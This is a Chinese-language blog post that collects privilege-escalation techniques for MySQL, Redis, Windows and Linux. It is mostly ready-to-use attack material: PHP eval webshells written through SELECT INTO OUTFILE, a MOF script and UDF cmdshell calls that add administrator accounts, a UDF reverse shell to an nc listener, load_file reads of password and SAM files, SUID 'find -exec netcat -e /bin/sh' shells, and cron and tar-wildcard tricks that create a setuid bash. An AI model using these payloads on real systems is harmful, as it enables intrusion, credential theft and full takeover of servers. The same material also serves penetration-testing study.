常见提权姿势总结

提权方法有部分适用在不同环境,当然也有通用的方法

提权方法有操作系统版本区分,特性决定方法利用面

提权方法有部分需要特定环境,如数据库,第三方提权

数据库提权

navicat : 数据库连接工具

image-20210801151836820

mysql

获取mysql密码

二、Mysql密码获取与破解

1.获取网站数据库账号和密码

对于CMS系统,一定会有一个文件定义了数据库连接的用户和密码。例如以下代码:

$db['default']['hostname'] = 'localhost'; 
$db['default']['username'] = 'root'; 
$db['default']['password'] = '123456'; 
$db['default']['database'] = 'crm'; 

dedecms数据库安装的信息就是写在data/common.inc.php,Discuz的数据库信息就在config/config_global_default.php、config /config_ucenter.php、config.inc.php。一般数据库配置文件都会位于config、application、conn、db等目录,配置文件名称一般会是conn.asp/php/aspx/jsp等。对于java会在/WEB-INF/config/config.properties中配置,总之通过查看源代码,进行层层分析,终究会发现数据库配置文件。

对于Linux操作系统,除了上述方法获取root账号密码外,还可以通过查看./root/.mysql_history、./root/.bash_history文件查看mysql操作涉及的密码。当然对于Mysql5.6以下版本,由于设计Mysql程序时对于安全性的重视度非常低,用户密码是明文传输。MySQL对于binary log中和用户密码相关的操作是不加密的。如果你向MySQL发送了例如create user,grant user ... identified by这样的携带初始明文密码的指令,那么会在binary log中原原本本的被还原出来,执行“mysqlbinlog binlog.000001”命令即可获取

获取mysql数据库user表

MYSQL所有设置默认都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安装程序的data目录下,有关用户一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。在有权限的情况下,我们可以将User.frm、user.myd和User.myi三个文件下载到本地,通过本地的mysql环境直接读取user表中的数据。当然也可使用文本编辑器将user.MYD打开将root账号的密码复制出来到到cmd5.com进行查询和破解。对于Mysql数据库密码如果通过cmd5.com等网站不能查询到密码则需要自己手动破解。

3.Mysql密码查询

可以通过以下查询语句直接查询mysql数据库中的所有用户和密码。

1. select user,password from mysql.user; 
2. select user,password from mysql.user where user ='root'; 

4.MySQL密码加密算法

MySQL实际上是使用了两次SHA1夹杂一次unhex的方式对用户密码进行了加密。具体的算法可以用公式表示:password_str = concat('*', sha1(unhex(sha1(password)))),可以通过查询语句进行验证,查询结果如下图所示。

select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword')))); 

image-20210709165452507

image-20210709165537764

mysql获取webshell

Mysql root账号网站获取webshell具备的条件:

1.知道站点物理路径,网站物理途径可以通过phpinfo函数、登录后台查看系统属性、文件出错信息、查看网站源代码以及路径猜测等方法获取。

2.有足够大的权限,最好是root账号权限或者具备root权限的其它账号,可以用select user,password from mysql.user进行测试。

3.magic_quotes_gpc()=OFF。对于PHP magic_quotes_gpc=on的情况,可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示。 对于PHP magic_quotes_gpc=off 的情况必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出,因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。

4.直接导出webshell,执行下面语句

Select '<?php eval($_POST[cmd])?>' into outfile '物理路径'; 
and 1=2 union all select 一句话HEX值 into outfile '路径';

也可以通过创建表来直接完成,其中d:/www/exehack.php为webshell的名称和路径

CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL ); 
INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>'); 
SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php'; 
DROP TABLE IF EXISTS `darkmoon`; 

有些情况下掌握了MSSQL数据库口令,但服务器环境是Windows2008,web环境是PHP,则可以通过SQLTOOLs工具,直接连接命令,通过以下命令写入shell:

echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php 

mof提权

原理

在windows平台,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。

利用条件

  • mysql用户具有root权限(对上面那个目录可写)
  • 关闭了secure-file-priv

secure-file-priv参数说明:

secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

  • ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

查看secure-file-priv的值

show global variables like "%secure%";

利用方式

利用代码:

#pragma namespace("\\\\.\\root\\subscription") 
instance of __EventFilter as $EventFilter
{ 
EventNamespace = "Root\\Cimv2"; 
Name  = "filtP2"; 
    Query = "Select \ From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
QueryLanguage = "WQL"; 
}; 
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
ScriptingEngine = "JScript"; 
ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; 
}; 
instance of __FilterToConsumerBinding
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

这段代码只是在目标系统上添加了一个admin用户,并没有添加到管理员组(如果需要自行查找,网上很多),将这个文件存储为nullevt.mof上传到任意一个你在目标机上可写的路径(当然,如果你直接可以写到c:/windows/system32/wbem/mof/就更好了),接下来我们就可以直接执行sql语句把该文件写入到目标路径:

select load_file('你上传的路径/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

执行完之后,在webshell中使用net user查看是否多了一个admin用户,如果有,则可以继续利用,否则不需要继续了。

udf提权

原理

UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

利用条件

  • Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

  • Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

  • 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。

  • 可以将udf.dll写入到相应目录的权限。

#关于plugin目录,可以在mysql中执行
show variables like "%plugin%";
#进行查看,这个目录也就是dll文件需要导入的目录

利用方式

1.将dll文件导入到相应目录,如果导入错误会产生can't open shared library错误

2.创建自定义函数

create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user miao zjicmisa.org /add');
select cmdshell('net localgroup administrators miao /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell'  删除函数

注意这里的函数名应该与dll文件中的函数名一致。

关于udf有一个特别需要注意的问题,就是5.1以上版本默认情况下/lib/plugin目录是不存在的。有大牛已经想出了解决办法——NTFS ADS流来创建文件夹(该方法我们测试过)

select @@basedir;   
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录

上面的目录应该是相应的mysql目录

注:udf提权也是一般应用于win2003系统

mysql反弹shell提权

其实这也属于udf提权,只不过应用场景不同,比如现在我们没有webshell但是我们却有偶然得到了mysql的root密码(弱口令等),恰巧目标机的数据库可以外联或者有phpmyadmin,那么我们就可以把上面udf.dll文件的内容先插入到数据表中,然后再导出到/lib/plugin目录。

#然后创建函数backshell
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
1
#在具备独立主机的服务器上执行监听
nc -vv -l -p 12345
1
#最后就是执行backshell
select backshell("你的ip地址",12345);
  • 如果成功返回了shell则说明成功了,我们就可以添加用户了

mysql渗透技巧

在对MySQL数据库架构的渗透中,MySQL内置的函数DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用来获取一些系统的信息,而load_file()作用是读入文件,并将文件内容作为一个字符串返回,这在渗透中尤其有用,例如发现一个php的SQL注入点,则可以通过构造“-1 union select 1,1,1,1,load_file('c:/boot.ini')”来获取boot.ini文件的内容。

(1)一些常见的系统配置文件

 c:/boot.ini //查看系统版本 
 c:/windows/php.ini //php配置信息 
 c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码 
 c:/winnt/php.ini 
 c:/winnt/my.ini 
 c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码 
 c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码 
 c:\Program Files\Serv-U\ServUDaemon.ini 
 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置 
 c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码 
 c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此 
 c:\Program Files\RhinoSoft.com\ServUDaemon.exe 
 C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 
 //存储了pcAnywhere的登陆密码 
 c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件 
 c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息. 
 c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 
 d:\APACHE\Apache2\conf\httpd.conf 
 C:\Program Files\mysql\my.ini 
 C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码 

LUNIX/UNIX 下:

1. /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 
2. /usr/local/apache2/conf/httpd.conf 
3. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 
4. /usr/local/app/php5/lib/php.ini //PHP相关设置 
5. /etc/sysconfig/iptables //从中得到防火墙规则策略 
6. /etc/httpd/conf/httpd.conf // apache配置文件 
7. /etc/rsyncd.conf //同步程序配置文件 
8. /etc/my.cnf //mysql的配置文件 
9. /etc/redhat-release //系统版本 
10. /etc/issue 
11. /etc/issue.net 
12. /usr/local/app/php5/lib/php.ini //PHP相关设置 
13. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 
14. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件 
15. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 
16. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 
17. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 
18. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件 
19. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 
20. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 
21. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 
22. /etc/sysconfig/iptables 查看防火墙策略 
23. load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录 
24. replace(load_file(0×2F6574632F706173737764),0×3c,0×20) 
25. replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 

直接读取配置文件

  1. SELECT LOAD_FILE('/etc/passwd' )
  2. SELECT LOAD_FILE('/etc/issues' )
  3. SELECT LOAD_FILE('/etc/etc/rc.local' )
  4. SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )
  5. SELECT LOAD_FILE('/etc/nginx/nginx.conf' )

Linux下通过load_file函数读出来的数据库有可能是hex编码,要正常查看需要使用NotePad将将以上代码全部选中,然后选择插件“Converter”-“HEX-ASCII”进行转换。

Redis提权

6379端口

image-20210803152919529

image-20210803153228933

image-20210803153429252

image-20210803153900561

windows提权

AT

cmd :

at 15:30 /interactive cmd.exe

之后会在15:30弹出一个以system权限打开的cmd窗口。这是win2003以及其之前版本的一个漏洞

SC

cmd:

sc Create syscmd binPath="cms /K start" type=own type=interact#先创建一个服务,服务名为syscmd,然后该服务绑定一个binpath(exe执行文件)  /k 启动一个新的界面

PS(适用面较广)

使用该方法的前提条件:需要下载一个PsTools(windows提供的一个第三方工具库)

使用方法:cmd(在该工具的目录下)

psexec.exe -accepteula -s -i -d cmd.exe

令牌窃取

image-20210803155233835

image-20210803155338907

进程注入

image-20210803161607683

RottenPotato(烂土豆)提权

image-20210803164316193

因此,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我们发现使用已经建立好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败。但是使用菜刀(IIS服务器权限)反弹meterpreter就会成功。

烂土豆比热土豆的优点:

  • 100%可靠
  • (当时)全版本通杀
  • 立即生效,不想hot potato那样有时候需要等待windows更新才能使用

msf反弹shell之后,使用烂土豆进行提权:

execute -cH -f ./potato.exe

然后使用令牌窃取的方法进行提权

DLL提权

DLL : 动态链接库,程序在启动的时候默认会调用这些dll库,,来实现功能的加载。

dll劫持提权需要特定软件应用的控制权限以及启用配合。

过程:

  • 信息收集 : 第三方软件特有应用程序的信息

  • 进程调试:分析程序运行时候调用的dll库文件

  • 制作dll并上传

  • 替换dll

  • 启动应用后成功

可以使用火绒剑来进行调试

引号路径

image-20210803194140877

条件

  • 目录中有空格
  • 系统在调用该服务的时候没有加引号

image-20210803194918329

可以在c盘创建一个名为Program.exe 后门文件

不安全的服务权限配合msf

本地提权

原理:

即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,比如,可以直接修改它导致重定向执行文件。

过程:

  • 检测服务器权限配置
  • 制作文件并上传
  • 更改服务路径指向
  • 调用后成功
accesschk.exe -uwcqv "administrator" * #检测administartor用户或用户组有没有可以操作的服务#该文件是微软官方提供的第三方文件sc config "NewServiceName[服务名]" binpath="C:\test.exe[服务对应的执行文件]"sc start "NewServiceName"

总结

  • 数据库
  • 溢出漏洞
  • 令牌窃取
  • DLL劫持
  • 第三方软件
  • AT & SC & PS
  • 不安全的服务权限
  • 不带引号的服务路径
  • Unattended Installs
  • AlwaysInstallElevated

java 的 webshell不需要提权,直接是System权限(jsp)

提权层面

web、本地

Linux提权

image-20210804151613361

信息收集

  • 内核信息
  • 用户群组
  • 环境信息
  • 进程服务
  • 计划任务
  • 有无ssh私钥
  • 有无明文密码
  • 可读写执行目录

提权方法

  • SUID
  • 内核漏洞
  • 环境变量
  • 计划任务
  • 第三方服务

image-20210804135824085

信息收集:判断提权方式是否适用

漏洞探针:用于内核提权;判断操作系统可能存在的漏洞

工具:LinEnum(信息收集脚本)

Linux中,一般文件都上传至tmp目录,该目录一般可读写,服务器重启后会清空

SUID提权

详情参考:https://pentestlab.blog/2017/09/25/suid-executables/

1.探针是否有SUID(手工)

find / -user root -perm -4000 -print 2>/dev/nullfind / -prem -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;

以下是可用于产生shell的程序

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
touch test#以root执行命令find test -exec whoami \;#nc反弹shellfind tese -exec netcat -lvp 5555 -e /bin/sh \;#之后使用netcat连接5555端口netcat ip 5555idcat /etc/shadow

image-20210804142601261

脏牛漏洞

CVE-2016-5195

需要使用交互式shell

image-20210804150902832

本地环境变量

步骤:

image-20210804160246907

定时任务

路径问题

利用计划任务指向的文件的相对路径解析问题

cat /etc/crontabecho 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > /home/test/test.sh/tmp/bash

利用通配符配合命令参数自定义命令实现提权

  • tar
  • touch
  • chmod
  • ysync等等

有定时任务:

cd /home/undead/scripttar czf /tmp/backup.tar.gz.*

image-20210804164333221

--checkpoint=1 是tar的参数

--checkpoint-action=exec=sh test.sh 文件中的内容随意

test.sh 中的内容:

cp /bin/bash /tmp/bash;chmod +s /tmp/bash

之后使用cd /tmp/bash;bash -p来进行提权

【使用SUID提权原理】

image-20210804165053849

权限问题

利用不安全的权限分配操作导致的定时文件覆盖

原因: 管理员 chmod 777 计划任务

image-20210805103032216

总结

提权环境

信息收集(SUID、定时任务、可能漏洞、第三方服务应用等)

最新相关漏洞,二次开发相关脚本

本地searchsploit脚本及远程exploit db站点搜索说明

其他提权方法:密码复用、guid、sudo等说明

searchsploit脚本 搜索关键字可以利用的漏洞

posted @   admin_luo  阅读(609)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示